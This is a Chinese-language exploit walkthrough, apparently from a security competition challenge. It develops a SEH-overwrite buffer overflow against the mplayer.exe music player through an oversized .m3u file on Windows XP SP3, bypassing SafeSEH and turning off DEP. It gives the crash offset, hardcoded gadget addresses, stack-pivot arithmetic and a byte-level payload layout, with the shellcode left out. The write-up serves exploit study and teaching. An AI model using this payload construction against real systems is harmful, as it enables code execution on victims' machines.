【文章作者】 ：h_one
【漏洞程序名称】：mplayer.exe
【漏洞类型】 ：缓冲区溢出
【保护方式】 ：safeseh+dep
【操作平台】 : xp sp3
【工具】 ：windbg, immunity Debugger,mona等
ps:这个程序是前两年xx比赛的题目，肯定有朋友玩过了，要求是利用seh进行漏洞利用，同时开启dep保护。
我想，那时我应该在玩泥巴,不知道啥叫crack,fuzz,漏洞挖掘利用等。挖掘利用此漏洞的首先了解windows的safeseh,dep保护，以
及知道怎么绕过。还有在模糊测试时，要根据程序本身处理哪类文件，进而触发漏洞。在程序比较大功能比较多时，这真的就是体力活了，可是首先使用IDA静态分析，看一下目标地址是否为栈分配，源数据是否可控，然后锁定那个调用（堆栈回朔看前面函数处理），分析源数据是从哪里来的。这些杂七杂八的是个人对漏洞挖掘的理解吧.......下面进入本文正题
此次是在xp sp3下操作的，而xp sp3默认dep是关闭的，首先我们的开启dep保护
第一步：Fuzz，触发漏洞
此软件为音乐播放器，处理的数据一般的都.mp3 ，m3u，皮肤 文件。方法：体力+耐力+运气 不知道大家有没有什么好的方法能比较快的触发漏洞
首先利用immunity Debugger调试发现：程序在打开m3u文件时,会将m3u文件所在路径与数据一起拷贝，我是将测试文件放在桌面的。
利用msf创建m3u后缀的fuzz数据 发现在6k大小是 程序发生异常
第二步：利用no-safeSeh模块地址覆盖seh,绕过safesef,并返回到准备的数据缓冲区
接下来用windbg附加看看
发生了异常从上图看msvcrt！strcat+81：av异常
此时看看异常链情况
执行!exchain
异常链已被准备的数据覆盖，噢,,,,那么接下来可以利用覆盖seh得到程序控制权.
计算seh偏移
接下来用py写简单的脚本，junks 用0x90填充 方便后面修改
在5115出写上esh,由于是在xp sp3下对seh的攻击肯定是存在safeseh保护的,因此接下来要绕过safeseh保护。
safeseh绕过方法：
利用SafeSEH保护模块之外的地址
对于目前的大部分windows操作系统，其系统模块都受SafeSEH保护，可以选用未开启SafeSEH保护的模块来利用，比如漏洞软件本身自带的 dll文件，
这个可以借助OD插件SafeSEH来查看进程中各模块是否开启SafeSEH保护。除此之外，也可通过直接覆盖返回地址 (jmp/call
esp)来利用。另一种方法，如果esp +8 指向EXCEPTION_REGISTRATION 结构，那么你仍然可以寻找一个
pop/pop/ret指令组合（在加载模块的地址范围之外的空间），也可以正常工作。但如果你在程序的加载模块中找不到pop/pop/ret 指令，
你可以观察下esp/ebp,查看下这些寄存器距离nseh 的偏移，接下来就是查找这样的指令：
call dword ptr[esp+nn] / jmp dword ptr[esp+nn]
call dword ptr[ebp+nn] / jmp dword ptr[ebp+nn]
call dword ptr[ebp-nn] / jmp dword ptr[ebp-nn]
(其中的nn 就是寄存器的值到nseh 的偏移，偏移nn可能是: esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0c, ebp-18)。
很幸运的可以发现软件本身自带的dll没有safeseh保护，找了一条pop pop retn= 0x6D7C4637
典型safeseh保护攻击模型
• 在nseh 上放置向后的跳转指令（跳转7 字节：jmp 0xfffffff9）；
• 向后跳转足够长的地址以存放shellcode，并借此执行至shellcode；
• 把shellcode 放在用于覆盖异常处理结构的指令地址之前。
["\x90"*5115] + [nseh] + [seh] + "\x90\x90\x90\xcc"
no-safeseh
.......................................................................................................................................................................................................................................
覆盖超长字符找到seh地址 将其修改为加载模块之外地址，并下断点 shift+f9 查看异常处理时寄存器与堆栈情况
esp = 0x22E2DC
ebp = 0x22E2FC
看下我们输入的数据离此时esp多远
ForEsp: 0x22EBE5 - 0x22E2DC = 0x909
ForEbp: 0x22EBE5 - 0x22E2FC = 0x8E9
计算可了解到此时esp到我们准备数据至少位0x909，那么可以寻找指令add esp num (num >= 0x909) retn 这样程序就又可控了。
选择0x64998c87 （add esp 0x96c） 修改seh为0x64998c87，再此进行调试观察堆栈情况
覆盖seh之后 执行到0x64998C87观察堆栈情况 成功进入堆栈
我们的缓冲区起始于0x22EBE5 ，而现在esp指向0x22EC5C,这里经行简单的计算：
0x22EC5C-0x22EBE5 = 0x77(119)大概是这么多吧，这里可以直接在直接窗口里修改，然后二进制拷贝到winhex
呵呵，算是甩开safeseh了，这要进入我们准备的数据区，只要关闭dep跳入shellcode就算是胜利了。
现在构造的数据模型应该是：my buffer = “\x90” * 119+ “Close_dep” + “\x90” x (5115 – 119) +“\x2C\x0E\x0A\x6D” +“\x90” *nums;
(ps：)
第四步：关闭dep,指向shellcode
dep:
数据执行保护，算是目前windows上最强保护了
绕过方法：
1.ret2lib
其
思路为：将返回地址指向lib库中的代码，而不直接跳转到shellcode 去执行，进而实现恶意代码的运行。可以在库中找到一段执行系统命令的代
码，比如system()函数，用它的地址覆盖返回地址，此时即使NX/XD 禁止在堆栈上执行代码，但库中的代码依然是可以执行的。函数
system()可通过运行环境来执行其它程序，例如启动Shell等等。另外，还可以通过VirtualProtect函数来修改恶意代码所在内存页面
的执行权限，然后再将控制转移到恶意代码，其堆栈布局如下所示：
┏━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━┓
┃ ┃ 恶意代码 ┃内存高地址
┃ ┣━━━━━━━━━━━━━━━━━┫┃
┃ ┃ lpflOldProtect ┃┃
┃ ┣━━━━━━━━━━━━━━━━━┫┃
┃ ┃ flNewProtect ┃┃栈
┃ 调用参数 ┣━━━━━━━━━━━━━━━━━┫┃
┃ ┃ dwSize ┃┃生
┃ ┣━━━━━━━━━━━━━━━━━┫┃
┃ ┃ lpAddress ┃┃长
┃ ┣━━━━━━━━━━━━━━━━━┫┃
┃ ┃ 恶意代码的入口地址 ┃┃方
┣━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━┫┃
┃ 返回地址 ┃ VirtualProtect函数地址 ┃┃向
┣━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━┫┃
┃ EBP上层函数堆栈基址 ┃ ┃┃
┣━━━━━━━━━━━━┫ ┃┃
┃ 异常例程入口地址（若有 ┃ 填充数据的覆盖区域 ┃┃
┃设置的话,比如try…catch)┃ （AAAAAAAA……） ┃┃
┣━━━━━━━━━━━━┫ ┃▼
┃ 局部变量 ┃ ┃内存低地址
┗━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━┛
本问绕过方法使用关闭dep
此方法的主要原理就是利用NtSetInformationProcess()函数来设置 KPROCESS 结构中的相关标志位，进而关闭DEP
具体实现思路
1.将al设置为1，比如指令mov al,1 / ret，然后用该指令地址覆盖返回地址：
利用OllyFindAddr插件可以找到绕过dep的指令地址
mov al 0x1 rent 地址：0x7c80c190
观察寄存器情况 堆栈情况 下图
| junks | mov al ,1; retn; | push esp pop ebp retn 0x4 | retn 0x24 | jmp esp | close_dep | jmp_shellcode | nop1s | shellcode | nop2s | add esp 0x96C;pop;pop;pop;retn; |
| "\x90"*0x73 | "\x90\xc1\x80\x7c" | "\xE5\xE0\x72\x7D" | "\xfd\x9f\x75\x7d" | "\xb4\xc1\xc5\x7d" | "\x24\xcd\x93\x7c" | "\xeb\x22\x90\x90" | "\x90" * 0x85 | "\x......\x" | "\x90"*num | "\x7D\x8c\x99\x64" |
到此成功绕过
